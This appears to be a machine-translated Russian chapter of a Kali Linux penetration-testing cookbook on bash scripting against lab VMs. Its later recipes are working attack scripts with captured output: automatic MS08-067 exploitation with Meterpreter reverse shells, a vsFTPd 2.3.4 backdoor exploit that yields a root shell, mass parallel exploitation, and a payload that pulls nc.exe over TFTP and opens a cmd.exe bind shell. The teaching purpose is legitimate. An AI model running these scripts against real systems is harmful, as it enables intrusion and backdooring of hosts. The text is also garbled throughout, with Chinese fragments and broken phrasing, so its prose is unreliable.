Автор: Джастин Hutchens 译者:летающий дракон протокол:CC BY-NC-SA 4.0
Платформа тестирования на проникновение Kali Linux предоставляет широкий спектр эффективных инструментов для выполнения наиболее распространенных задач, необходимых при тестировании на проникновение на предприятии. Однако иногда одного инструмента недостаточно для решения конкретной задачи. Вместо создания совершенно нового сценария или программы для выполнения сложной задачи зачастую более эффективно написать сценарии, использующие существующие инструменты и изменяющие их поведение по мере необходимости. Распространенные типы полезных локальных сценариев включают сценарии для анализа или управления выводом существующих инструментов, сценарии, объединяющие несколько инструментов, или сценарии для многопоточных задач, которые должны выполняться последовательно.
Большинство специалистов по безопасности считают Nmap одним из самых удобных и эффективных инструментов на платформе Kali Linux. Но из-за удивительных и мощных функций этого инструмента комплексное сканирование портов и идентификация сервисов могут занять очень много времени. Вместо целевого сканирования различных сервисных портов в ходе теста на проникновение лучше выполнить полное сканирование всех возможных сервисов TCP и UDP, а затем ссылаться только на эти результаты на протяжении всей оценки. Nmap предоставляет форматы вывода XML и greppable для облегчения этого процесса.
В идеале вы должны быть знакомы с этими форматами и иметь возможность по запросу извлечь необходимую информацию из выходного файла. Но для справки, этот рецепт предоставляет пример сценария, который можно использовать для извлечения всех IP-адресов, идентифицированных как запущенные службы на указанном порту.
Чтобы использовать сценарий, продемонстрированный в этом рецепте, вам необходимо использовать grepable Отформатированный Nmap Вывод результатов. Это можно сделать, выполнив Nmap порт Сканируйте ииспользовать-oA
Возможность вывода всех форматов,или-oG
специально вывести greppable формат для получения. В качестве примера,несколько систем водинокий/24
Сканировать в подсети,Это включает в себя Windows XP и Metasploitable2。 О настройках Metasploitable2 Дополнительную информацию см. в разделе «Установка» главы 1 этой книги. Metasploitable2" читы. О настройках Windows система Дополнительную информацию см. в разделе «Установка» главы 1 этой книги. Windows Серверные читы. Кроме того, для работы с этим разделом необходимо использовать текстовый редактор, например VIM или Nano) записывает скрипт в файловую систему. Дополнительную информацию о написании сценариев см. в разделе «Использование текстового редактора (VIM). и Нано)» читы.
Следующий пример демонстрирует, насколько легко извлечь информацию из формата вывода Nmap, поддерживающего grep, с помощью языка сценариев bash или даже интерфейса командной строки (CLI) bash:
#! /bin/bash
if [ ! $1 ]; then echo "Usage: #./script <port #> <filename>";
exit; fi
port=$1
file=$2
echo "Systems with port $port open:"
grep $port $file | grep open | cut -d " " -f 2
Чтобы вы поняли, что делает скрипт, мы объясним каждую строку по порядку. Первая строка скрипта просто указывает на bash Интерпретатор, чтобы скрипт мог выполняться независимо. сценарий извторая линиядаодинif ... then
условное утверждение,Используется для проверки того, не передает ли да какие-либо параметры скрипту. Это всего лишь минимальная проверка ввода, о которой знают квалифицированные пользователи системы. Использовать инструмент, если инструмент выполняется без каких-либо аргументов.,Скрипт Воляecho
Чтоиспользоватьизописывать,Затем выйдите. описание использования запросит два параметра,Включая номер порта и имя файла.
Следующие две строки присваивают каждому входному значению более удобочитаемую для человека переменную. Первое входное значение — это номер порта, а второе входное значение — выходной файл Nmap. Затем сценарий проверит выходной файл Nmap, допускающий сбор данных, чтобы определить, какая система (если таковая имеется) работает в службе по указанному номеру порта.
root@KaliLinux:~# ./service_identifier.sh Usage: #./script <port #> <filename>
Когда вы выполняете скрипт без каких-либо аргументов, будет выведено описание использования. Чтобы использовать скрипт, нам нужно ввести номер, который мы хотим проверить. Nmap grepable Имя выходного файла. Представленные примеры находятся на/ 24
Выполните сканирование в сети,ииспользоватьимя файлаnetscan.txt
генерировать greppable Выходной файл. Затем сценарий используется для анализа этого файла и определения возможности обнаружения каких-либо хостов активными службами на каждом порту.
root@KaliLinux:~# ./service_identifier.sh 80 netscan.txt
Systems with port 80 open:
172.16.36.135
172.16.36.225
root@KaliLinux:~# ./service_identifier.sh 22 netscan.txt
Systems with port 22 open:
172.16.36.135
172.16.36.225 172.16.36.239
root@KaliLinux:~# ./service_identifier.sh 445 netscan.txt
Systems with port 445 open:
172.16.36.135
172.16.36.225
В показанном примере выполняется сценарий для определения порта. 80, 22 и 445 Хост, на котором он работает. В выходных данных сценария отображается номер оцениваемого порта, а затем перечисляются IP-адреса всех систем в выходном файле, в которых на этом порту работают активные службы.
grep
даодин功能强大изкомандная строкаинструмент,Доступно на bash используется в Извлеките определенное содержимое из данного файла. 在этот秘籍提供из Скриптсередина,grep
用于от Nmap grepable Извлеките все экземпляры данного номера порта в выходной файл. потому чтоgrep
функцияиз Вывод включает в себя несколько фрагментов информации.,Таким образом, вывод передается по конвейеруcut
функция,извлечь IP адрес и выведите его на терминал.
Многие сценарии Nmap Scripting Engine (NSE) работают только со службами, работающими на указанных портах. 考虑smb-check-vulns.nse
сценарий из использования. Этот скрипт оценит TCP 445 работает в порту SMB Распространенные уязвимости сервиса. Если этот скрипт выполняется по сети, то задачу необходимо переделать для определения порта 445 открыт и доступен в каждой целевой системе SMB Служить. Это задача, которая могла быть выполнена на этапе сканирования оценки. Bash Сценарии можно использовать для использования существующих Nmap greppable Выходной файл для запуска конкретной службы NSE Скрипты нацелены только на систему, на которой работают эти службы. В этом рецепте мы продемонстрируем, как использовать скрипт для определения результатов предыдущего сканирования. TCP 445 начальствоиз Служитьиз Хозяин,Тогда просто столкнитесь с этими системамиsmb-check-vulns.nse
Скрипт.
Чтобы использовать сценарий, продемонстрированный в этом рецепте, вам необходимо использовать grepable Отформатированный Nmap Вывод результатов. Это можно сделать, выполнив Nmap порт Сканируйте ииспользовать-oA
Возможность вывода всех форматов,или-oG
специально вывести greppable формат для получения. В качестве примера,несколько систем водинокий/24
Сканировать в подсети,Это включает в себя Windows XP и Metasploitable2。 О настройках Metasploitable2 Дополнительную информацию см. в разделе «Установка» главы 1 этой книги. Metasploitable2" читы. О настройках Windows система Дополнительную информацию см. в разделе «Установка» главы 1 этой книги. Windows Серверные читы. Кроме того, для работы с этим разделом необходимо использовать текстовый редактор, например VIM или Nano) записывает скрипт в файловую систему. Дополнительную информацию о написании сценариев см. в разделе «Использование текстового редактора (VIM). и Нано)» читы.
В следующем примере показано, как использовать bash Скрипты связывают несколько задач вместе. Здесь нам нужно выполнить Nmap grepable Анализ выходного файла и информация, определенная задачей, затем используются для выполнения в различных системах. Nmap NSE Скрипт. В частности, первой задачей будет определить, какие системы являются TCP 445 начальство运行Служить,Затем для каждой системы выполнитеsmb-check-vulns.nse
Скрипт.
#! /bin/bash
if [ ! $1 ]; then echo "Usage: #./script <file>"; exit; fi
file=$1
for x in $(grep open $file | grep 445 | cut -d " " -f 2);
do nmap --script smb-check-vulns.nse -p 445 $x --scriptargs=unsafe=1;
done
Чтобы убедиться, что вы понимаете, что делает скрипт, мы рассмотрим каждую строку по порядку. Первые несколько строк аналогичны сценарию, описанному в предыдущем рецепте. Первая строка указывает на bash Интерпретатор, вторая строка проверяет, предоставлен ли аргумент, а третья строка присваивает входное значение удобочитаемому имени переменной. В тексте сценария есть определенное различие. for
Циклы используются для перебораgrep
функция获取из IP Список адресов. отgrep
функция Выход IP Список адресов соответствует TCP порт 445 Все системы, на которых работает служба. Тогда для этих IP Каждое исполнение по адресу Nmap NSE Скрипт. только теми, кто ранее был идентифицирован как находящийся в TCP 445 Чтобы запустить этот сценарий в системе, где работает служба, выполните NSE Время, необходимое для сканирования, значительно сокращается.
root@KaliLinux:~# ./smb_eval.sh
Usage: #./script <file>
Выполняя сценарий без каких-либо параметров, он выводит описание использования. Данное описание указывает на то, что существующие Nmap grepable Имя выходного файла. когда это предусмотрено Nmap При выводе файла скрипт быстро анализирует файл на предмет поиска файлов с TCP 445 Обслуживайте любую систему, а затем запускайте в каждой системе NSE скрипт и выведите результаты на терминал.
root@KaliLinux:~# ./smb_eval.sh netscan.txt
Starting Nmap 6.25 ( http://nmap.org ) at 2014-04-10 05:45 EDT
Nmap scan report for 172.16.36.135
Host is up (0.00035s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:3D:84:32 (VMware)
Host script results:
| smb-check-vulns:
| Conficker: UNKNOWN; not Windows, or Windows with disabled browser service (CLEAN); or Windows with crashed browser service (possibly INFECTED).
|
| If you know the remote system is Windows, try rebooting it and scanning
|
|_ again. (Error NT_STATUS_OBJECT_NAME_NOT_FOUND)
| SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE
| MS06-025: NO SERVICE (the Ras RPC service is inactive)
|_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive)
Nmap done: 1 IP address (1 host up) scanned in 5.21 seconds
Starting Nmap 6.25 ( http://nmap.org ) at 2014-04-10 05:45 EDT
Nmap scan report for 172.16.36.225
Host is up (0.00041s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:18:11:FB (VMware)
Host script results:
| smb-check-vulns:
| MS08-067: VULNERABLE
| Conficker: Likely CLEAN
| regsvc DoS: NOT VULNERABLE
| SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE
| MS06-025: NO SERVICE (the Ras RPC service is inactive)
|_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive)
Nmap done: 1 IP address (1 host up) scanned in 5.18 seconds
В качестве примера,Скрипт会传递到netscan.txt
Выходной файл. После быстрого анализа файла,Скрипт确定两个система正在порт445начальство运行Служить.Затемиспользоватьsmb-check-vulns.nse
Скрипт扫描每个Служить,и генерирует вывод в терминале.
предоставленоgrep
последовательность какfor
Цикл доиспользоватьизценить,Эта секретная книга находится в bash По сути, скрипт просто перебирает выходные данные функции. Запустив функцию независимо, вы увидите, что она извлекает только соответствующий запуск. SMB хост службы IP Список адресов. Затем,for
Пройти через этиIPадрес,И для каждого IP исполнения адреса NSE Скрипт.
В некоторых случаях может быть полезно разработать сценарий, сочетающий сканирование уязвимостей с эксплуатацией. Сканирование уязвимостей часто приводит к ложным срабатываниям, поэтому правильность этих результатов можно немедленно проверить, выполнив последующие эксплойты в результате сканирования уязвимостей. Используйте этот рецепт bash Скрипт来осуществлятьsmb-check-vulns.nse
Скрипт,来确定Хозяинда Существует ли MS08-067 NetAPI уязвимость, и если NSE Скрипт показывает вот так: Metasploit будет использоваться для Автоматически попробуйте использовать его для проверки.
Чтобы использовать сценарий, продемонстрированный в этом рецепте, вам необходимо использовать grepable Отформатированный Nmap Вывод результатов. Это можно сделать, выполнив Nmap порт Сканируйте ииспользовать-oA
Возможность вывода всех форматов,или-oG
специально вывести greppable формат для получения. В качестве примера,несколько систем водинокий/24
Сканировать в подсети,Это включает в себя Windows XP и Metasploitable2。 О настройках Metasploitable2 Дополнительную информацию см. в разделе «Установка» главы 1 этой книги. Metasploitable2" читы. О настройках Windows система Дополнительную информацию см. в разделе «Установка» главы 1 этой книги. Windows Серверные читы. Кроме того, для работы с этим разделом необходимо использовать текстовый редактор, например VIM или Nano) записывает скрипт в файловую систему. Дополнительную информацию о написании сценариев см. в разделе «Использование текстового редактора (VIM). и Нано)» читы.
В следующем примере показано, как использовать bash Скрипт Воля Сканирование цели уязвимостейиспользование задач, связанных между собой. в этом случае,smb-checkvulns.nse
Скрипт用于确定системада Восприимчиво ли оно к MS08-067 атаковать, а затем, если в системе обнаружена уязвимость, выполнить соответствующие действия над системой Metasploit Эксплойт.
#! /bin/bash
if [ ! $1 ]; then echo "Usage: #./script <RHOST> <LHOST> <LPORT>";
exit; fi
rhost=$1
lhost=$2
lport=$3
nmap --script smb-check-vulns.nse -p 445 $rhost --scriptargs=unsafe=1 -oN tmp_output.txt
if [ $(grep MS08-067 tmp_output.txt | cut -d " " -f 5) = "VULNERABLE" ];
then echo "$rhost appears to be vulnerable, exploiting with Metasploit...";
msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/ meterpreter/reverse_tcp RHOST=$rhost LHOST=$lhost LPORT=$lport E;
fi
rm tmp_output.txt
Чтобы вы поняли, что делает скрипт, мы объясним каждую строку по Первые несколько строк из в сценарии порядку такие же, как в сценарии из, обсуждавшемся ранее в этой главе. Первая строка определяет интерпретатор, вторая строка проверяет ввод, а третья, четвертая и пятая строки используются для определения переменных на основе пользовательского ввода. В этом скрипте укажите, что пользовательская переменная переписывается. Metasploit переменные, используемые в. RHOST
Переменные должны определять целииз IP адрес,LHOST
Переменная должна определять обратный прослушивательиз IP адрес,LPORT
Переменная должна быть определена как прослушиваемаяизместныйпорт。Затем Скрипт在正文серединаосуществлятьиз第один任务да,целевая системаиз IP исполнение адресаsmb-check-vulns.nse
Скрипт,он состоит изRHOST
входное определение。Затем,Результаты выводятся во временный текстовый файл в обычном формате. Затем,if ... then
условное утверждениеиgrep
функция结合использовать,Чтобы проверить, есть ли в выходном файле уникальная строка, да,Это указывает на уязвимость в системе. Если найдена уникальная строка,Скрипт покажет, что система уязвима.,Затемиспользовать Metasploit Использование интерфейса командной строки Framework (MSFCLI) Meterpreter Выполнение полезной нагрузки Metasploit Эксплойт.最назад,Загрузкаэксплуатироватьназад,использоватьrm
функцияот文件системасерединаудалить Nmap временный Выходной файл.test_n_xploit.sh bash
Команда выполняется следующим образом:
root@KaliLinux:~# ./test_n_xploit.sh
Usage: #./script <RHOST> <LHOST> <LPORT>
Если вы выполните сценарий без предоставления каких-либо аргументов, сценарий выведет соответствующее использование. этотиспользоватьописывать显示,Должен Скриптотвечать以参数RHOST
,LHOST
иLPORT
осуществлять。 Эти входные значения будут использоваться Nmap NSE Сканирование уязвимостейи(если есть гарантия)использовать Metasploit Выполните эксплойт в целевой системе. В следующем примере скрипт используется для определения IP адресдля172.16.36.225
из Хозяинда Существует ли漏洞。 Если система признана уязвимой, эксплойт выполняется и подключается к обратному TCP Meterpreter процессор, который обрабатывает IP адрес172.16.36.239
из TCP порт 4444 о системе мониторинга.
root@KaliLinux:~# ./test_n_xploit.sh 172.16.36.225 172.16.36.239 4444
Starting Nmap 6.25 ( http://nmap.org ) at 2014-04-10 05:58 EDT
Nmap scan report for 172.16.36.225
Host is up (0.00077s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:18:11:FB (VMware)
Host script results:
| smb-check-vulns:
| MS08-067: VULNERABLE
| Conficker: Likely CLEAN
| regsvc DoS: NOT VULNERABLE
| SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE
| MS06-025: NO SERVICE (the Ras RPC service is inactive)
|_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive)
Nmap done: 1 IP address (1 host up) scanned in 5.61 seconds 172.16.36.225 appears to be vulnerable, exploiting with Metasploit...
[*] Please wait while we load the module tree...
, ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| |||
Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with Metasploit Pro -- type 'go_pro' to launch it now.
=[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1053 exploits - 590 auxiliary - 174 post
+ -- --=[ 275 payloads - 28 encoders - 8 nops
PAYLOAD => windows/meterpreter/reverse_tcp
RHOST => 172.16.36.225
LHOST => 172.16.36.239
LPORT => 4444
[*] Started reverse handler on 172.16.36.239:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 172.16.36.225
[*] Meterpreter session 1 opened (172.16.36.239:4444 -> 172.16.36.225:1130) at 2014-04-10 05:58:30 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Вывод выше показывает, что после завершения сценария Nmap NSE выполняется модуль эксплойта Metasploit, и в целевой системе возвращается интерактивная оболочка Meterpreter.
MSFCLI да MSF Консоль из является допустимой альтернативой инструменту и может использоваться непосредственно из Терминального. Выполнение однострочной команды без работы в интерактивной консоли. Это делает MSFCLI для bash shell изиспользованда приятная особенность скрипта. Потому что его можно получить из bash Терминальное выполнение NSE сценарий и MSFCLI, поэтому можно легко написать shell Скрипт для объединения этих двух функций.
Воля NSE сценарий и Metasploit Комбинированное использование может снизить рабочую нагрузку. может быть NSE Количество уязвимостей, проверенных сценарием, значительно меньше, чем то, которое может быть проверено специальным сканером уязвимостей, таким как Количество уязвимостей, оцененных Nessus). Счастливая изда, Несс Есть программа под названием Nessuscmd Инструмент командной строки также можно найти в bash легко доступен. Этот чит показывает как Воля Nessus Целевое сканирование уязвимостей против. MSF Автоматически используйте комбинации для проверки результатов.
Чтобы использовать сценарий, продемонстрированный в этом рецепте, вам необходим доступ к системе, на которой работает служба уязвимостей, которая может использовать Nessus быть идентифицированы и могут быть использованы Metasploit Воспользуйтесь этим. Представленные примеры находятся на Metasploitable2 Используется на сервере vsFTPd 2.3.4 Уязвимости бэкдора. О настройках Metasploitable2 Дополнительную информацию см. в разделе «Установка» главы 1 этой книги. Metasploitable2" читы.
Кроме того, для работы с этим разделом необходимо использовать текстовый редактор, например VIM или Nano) записывает скрипт в файловую систему. Дополнительную информацию о написании сценариев см. в разделе «Использование текстового редактора (VIM). и Нано)» читы.
В следующем примере показано, как использовать bash Скрипт,Воля Сканирование Цели уязвимостей Использование задач, объединенных вместе. В этом случае для бега Nessus плагин, тест vsFTPd 2.3.4 Бэкдор для определения наличия уязвимости в системе, а затем, если в системе обнаружена уязвимость, выполнить соответствующие действия над системой Metasploit Эксплойт:
#! /bin/bash
if [ ! $1 ]; then echo "Usage: #./script <RHOST>"; exit; fi
rhost=$1
/opt/nessus/bin/nessuscmd -p 21 -i 55523 $rhost >> tmp_output.txt
if [ $(grep 55523 output.txt | cut -d " " -f 9) = "55523" ];
then echo "$rhost appears to be vulnerable, exploiting with Metasploit...";
msfcli exploit/unix/ftp/vsftpd_234_backdoor PAYLOAD=cmd/unix/
interact RHOST=$rhost E;
fi
rm tmp_output.txt
сценарий из начинается очень похоже на Сканирование уязвимостейииспользовать Скрипт,это Воля NSE Сканируйте так же, как и в предыдущем чите MSF использовать вместе. Но да,Из-за различий в полезных нагрузках в этом конкретном скрипте,因этот用户必须提供изуникальный параметрдаRHOST
ценить,Долженценитьотвечать Должендацелевая системаиз IP адрес. Тело скрипта для выполнения Nessuscmd Инструменты запускаются. -p
Объявление параметра оцениваетсяизудаленныйпорт,-i
Номер плагина объявления параметра。плагин 55523 переписываться VSFTPd 2.3.4 черный ход Nessus аудит. Затем, Нессускмд извыход重定向到один名дляtmp_output.txt
извременный Выходной файл.нравиться果целевая системаначальство存在этот漏洞,则этотсценарий извыход Воля仅返回плагин ID。Итак, следующая строкаиспользоватьif ... then
условное утверждение结合grep
последовательность,чтобы подтвердить возвратизвыходсерединаизплагин ИДЕНТИФИКАТОР. Если в выходных данных возвращается идентификатор плагина, указывающий на то, что система должна быть уязвима, то Воля выполняет соответствующий из Metasploit Используйте модули.
root@KaliLinux:~# ./nessuscmd_xploit.sh
Usage: #./script <RHOST>
Если вы выполните сценарий без предоставления каких-либо аргументов, сценарий выведет соответствующее использование. этотиспользоватьописывать表示,отвечатьиспользоватьRHOST
参数осуществлять Скрипт,это用于定义目标 IP адрес. Это входное значение Воля используется для Nessuscmd Сканирование уязвимостейи(Если есть уязвимость)использовать Metasploit Выполните эксплойт в целевой системе. В следующем примере скрипт используется для определения IP адресдля172.16.36.135
из Хозяинда Существует ли漏洞。 Если система признана уязвимой, Воля выполняет команду use и автоматически собирает систему с использованием черного цвета. ходсоединять。
root@KaliLinux:~# ./nessuscmd_xploit.sh 172.16.36.135
172.16.36.135 appears to be vulnerable, exploiting with Metasploit...
[*] Initializing modules...
PAYLOAD => cmd/unix/interact
RHOST => 172.16.36.135
[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (172.16.36.232:48126 -> 172.16.36.135:6200) at 2014-04-28 00:29:21 -0400
whoami
root
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
**{TRUNCATED}**
потому что Nessuscmd вывод перенаправляется во временный файл без встроенной функции даиспользовать вывод, поэтому ни один сценарий не возвращает вывод, указывающий, что сканирование прошло успешно, за исключением строки, указывающей на то, что система, по-видимому, существует. Metasploit Уязвимости попытались использовать. 一旦Скриптосуществлять完毕,Воля在целевая системаначальство返回具有root
Разрешенияизинтерактивный shell。 Чтобы продемонстрировать это,насиспользовать Понятноwhoami
иcat
Заказ。
Nessuscmd да Nessus Инструмент командной строки, включенный в сканер уязвимостей. Этот инструмент доступен для покупки непосредственно в Терминальном. Выполните целевое сканирование, чтобы сканировать и оценивать результаты различных плагинов. потому что Долженинструмент(нравиться MSFCLI) можно легко получить из bash Терминальный вызов, чтобы мы могли легко создать скрипт, Воля, две задачи объединены вместе, Воля Сканирование уязвимостейииспользоватьобъединить。
использовать Metasploit Структура затрудняет проведение крупномасштабных тестов на проникновение, поскольку каждый из них должен выполняться индивидуально и последовательно. Если вы хотите подтвердить возможность использования одной уязвимости в большом количестве систем, задача использования каждой уязвимости по отдельности может стать утомительной. Счастливая изда, объединив MSFCLI и bash Функция сценариев позволяет легко выполнять атаки на несколько систем одновременно, выполняя один сценарий. Этот чит показывает, как использовать bash Эксплуатация одной уязвимости в нескольких системах и открытие по одной для каждой. Meterpreter shell。
Использовать демо-версию скрипта в этом чите,Вам нужен доступ к нескольким системам,Каждая система имеет функции, которые можно использовать Metasploit Использована та же самая уязвимость. Приведенный пример воспроизводит запуск Windows XP Уязвимая версия ВМ, для генерации MS08-067 Три примера уязвимостей. О настройках Windows система Дополнительную информацию см. в разделе «Установка» главы 1 этой книги. Windows Серверные читы. Кроме того, для этого раздела требуется использовать текстовый редактор (например, VIM или Nano) записывает скрипт в файловую систему. О написании сценария из Подробнее,Пожалуйста, обратитесь к первой главе этой книги «Использовать текстовый редактор (VIM и Nano)».
В следующем примере показано, как использовать bash Скрипт одновременно использует несколько экземпляров одной уязвимости. В частности, этот скрипт можно использовать, ссылаясь на IP Введите список адресов для использования MS08-067 NetAPI Несколько экземпляров уязвимости:
#!/bin/bash
if [ ! $1 ]; then echo "Usage: #./script <host file> <LHOST>";
exit; fi
iplist=$1
lhost=$2
i=4444
for ip in $(cat $iplist)
do
gnome-terminal -x msfcli exploit/windows/smb/ms08_067_netapi
PAYLOAD=windows/meterpreter/reverse_tcp
RHOST=$ip LHOST=$lhost LPORT=$i E
echo "Exploiting $ip and establishing reverse connection on local port $i"
i=$(($i+1))
done
сценарий использоватьfor
цикл,Для каждого из входных текстовых файлов, перечисленных в IP исполнение конкретные задачи по адресу. Эта конкретная задача предполагает создание нового GNOME Терминал,Должен Терминал又осуществлять必要изmsfcli
Заказ来использовать Должен特定система,Затем启动反向 TCP meterpreter shell。 потому чтоfor
циклдля每个 MSFCLI Уязвимость запускает новую GNOME терминалы, каждый из которых выполняется как независимый процесс. Таким образом, несколько процессов могут выполняться параллельно, и каждая целевая Воля обрабатывается одновременно. Значение локального порта инициализируется как 4444, и увеличивается за каждую дополнительную используемую систему. 1. Сделайте каждый meterpreter shell Подключитесь к другому локальному порту. потому что Каждый процесс работает независимо от shell Выполняется в, поэтому этот скрипт нужно запускать из графического интерфейса рабочего стола, а не через SSH Соединение выполнено. ./multipwn.sh bash shell
可以осуществлятьнравиться下:
root@KaliLinux:~# ./multipwn.sh
Usage: #./script <host file> <LHOST>
root@KaliLinux:~# ./multipwn.sh iplist.txt 172.16.36.239
Exploiting 172.16.36.132 and establishing reverse connection on local port 4444
Exploiting 172.16.36.158 and establishing reverse connection on local port 4445
Exploiting 172.16.36.225 and establishing reverse connection on local port 4446
Если вы выполните сценарий без предоставления каких-либо аргументов, сценарий выведет соответствующее использование. В описании Воля указано, что скрипт используется для определения слушателя IP системаизLHOST
переменная,и включите цели IP Выполняется имя текстового файла списка адресов. После выполнения с этими параметрами начнет появляться ряд новых терминалов. Каждый из этих терминалов запускает список ввода из IP Последовательность эксплойтов для одного из адресов. Оригинальный исполнительный терминал Воля выводит список процессов во время выполнения. В приведенном примере используются три разные системы и открывается отдельный терминал для каждой системы. Пример одного из терминалов следующий:
[*] Please wait while we load the module tree...
, ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| |||
Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with Metasploit Pro -- type 'go_pro' to launch it now.
=[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1053 exploits - 590 auxiliary - 174 post
+ -- --=[ 275 payloads - 28 encoders - 8 nops
PAYLOAD => windows/meterpreter/reverse_tcp
RHOST => 172.16.36.225
LHOST => 172.16.36.239
LPORT => 4446
[*] Started reverse handler on 172.16.36.239:4446
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 172.16.36.225
[*] Meterpreter session 1 opened (172.16.36.239:4446 -> 172.16.36.225:1950) at 2014-04-10 07:12:44 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
Каждый терминал запускает отдельный MSFCLI Создайте экземпляр и выполните эксплойт. Если атака успешна, полезная нагрузка будет выполнена в интерактивном режиме. Meterpreter shell Воляв каждом отдельномиз Терминалсередина可用。
Вы можете использовать одинокий, выделив каждому процессу отдельный терминал. bash Скрипт выполняет несколько параллельных эксплойтов. кроме того,проходитьиспользоватьдляLPORT
распространятьиз递增ценить,Несколько оболочек обратного счетчика могут выполняться одновременно.
Этот чит показывает, как использовать bash , используя одну уязвимость в нескольких системах и открывая бэкдор в каждой системе. Бэкдор включает установку в целевой системе Netcat 可осуществлять文件,и откройте службу прослушивания,在收到соединятьназадосуществлятьcmd.exe
。
Использовать демо-версию скрипта в этом чите,Вам нужен доступ к нескольким системам,Каждая система имеет функции, которые можно использовать Metasploit Использована та же самая уязвимость. Приведенный пример воспроизводит запуск Windows XP Уязвимая версия ВМ, для генерации MS08-067 Три примера уязвимостей. О настройках Windows система Дополнительную информацию см. в разделе «Установка» главы 1 этой книги. Windows Серверные читы. Кроме того, для этого раздела требуется использовать текстовый редактор (например, VIM или Nano) записывает скрипт в файловую систему. О написании сценария из Подробнее,Пожалуйста, обратитесь к первой главе этой книги «Использовать текстовый редактор (VIM и Nano)».
В следующем примере показано, как использовать bash Скрипт одновременно использует несколько экземпляров одной уязвимости. В частности, этот скрипт можно использовать, ссылаясь на IP Введите список адресов для использования MS08-067 NetAPI Несколько экземпляров уязвимости:
#!/bin/bash
if [ ! $1 ]; then echo "Usage: #./script <host file>";
exit; fi
iplist=$1
for ip in $(cat $iplist)
do
gnome-terminal -x msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/exec CMD="cmd.exe /c \"tftp -i 172.16.36.239 GET nc.exe && nc.exe -lvp 4444 -e cmd.exe\"" RHOST=$ip E
echo "Exploiting $ip and creating backdoor on TCP port 4444"
done
Этот сценарий отличается от сценария, рассмотренного в предыдущем рецепте, потому что что Этот скрипт устанавливает бэкдор на каждую цель. В каждой зараженной системе выполняется полезная нагрузка, которая интегрирует клиент Simple File Transfer Protocol (TFTP) для захвата Netcat исполняемый файл, затем используйте его в TCP порт 4444 начальство打开одинcmd.exe
监听Терминал Служить.дляэтот, TFTP Сервис Воля должен быть в Kali запустить в системе. Это можно сделать, выполнив Выполняется следующая команда:
root@KaliLinux:~# atftpd --daemon --port 69 /tmp
root@KaliLinux:~# cp /usr/share/windows-binaries/nc.exe /tmp/nc.exe
Первая команда находится в UDP порт 69 Начать TFTP Служить,Служить目录在/ tmp
середина。 Вторая команда для Воли Netcat 可осуществлять文件отWindows-binaries
папкакопировать到 TFTP Оглавление. 现在насосуществлять./multipwn.sh
bash shell:
root@KaliLinux:~# ./multipwn.sh
Usage: #./script <host file>
root@KaliLinux:~# ./multipwn.sh iplist.txt
Exploiting 172.16.36.132 and creating backdoor on TCP port 4444
Exploiting 172.16.36.158 and creating backdoor on TCP port 4444
Exploiting 172.16.36.225 and creating backdoor on TCP port 4444
Если вы выполните сценарий без предоставления каких-либо аргументов, сценарий выведет соответствующее использование. В описании указано, что сценарий должен выполняться с аргументом, указывающим цель включения. IP Имя текстового файла списка адресов. После выполнения с этим параметром начнет появляться ряд новых терминалов. Каждый из этих терминалов запускает список ввода из IP Последовательность эксплойтов для одного из адресов. Необработанные терминалы выполнения выводят список процессов по мере их выполнения и указывают на создание бэкдора на каждом терминале. После завершения последовательности эксплойтов в каждом терминале Netcat Может использоваться для подключения к удаленному сервису, открытому полезной нагрузкой:
root@KaliLinux:~# nc -nv 172.16.36.225 4444
(UNKNOWN) [172.16.36.225] 4444 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\>
В приведенном примере IP адресдля172.16.36.225
изодеялоиспользоватьизсистеманачальствоиз TCP 4444 портизсоединять,会генерировать可удаленный访问изcmd.exe
Терминал Служить.
Netcat да Мощный инструмент, который можно использовать для различных целей. Хотя это эффективный способ удаленного выполнения служб, этот метод не рекомендуется использовать в производственных системах. Это дапотому чточто угодно можно установить с портом прослушивателя TCP Любой подключенный может получить доступ Netcat Откройте заднюю дверь.
Этот чит показывает, как использовать bash использовать изодиночные уязвимости в нескольких системах и использовать ICMP Трафик проверяет успешную эксплуатацию каждой уязвимости. Этот метод требует небольших накладных расходов и может быть легко использован для сбора списка уязвимых систем.
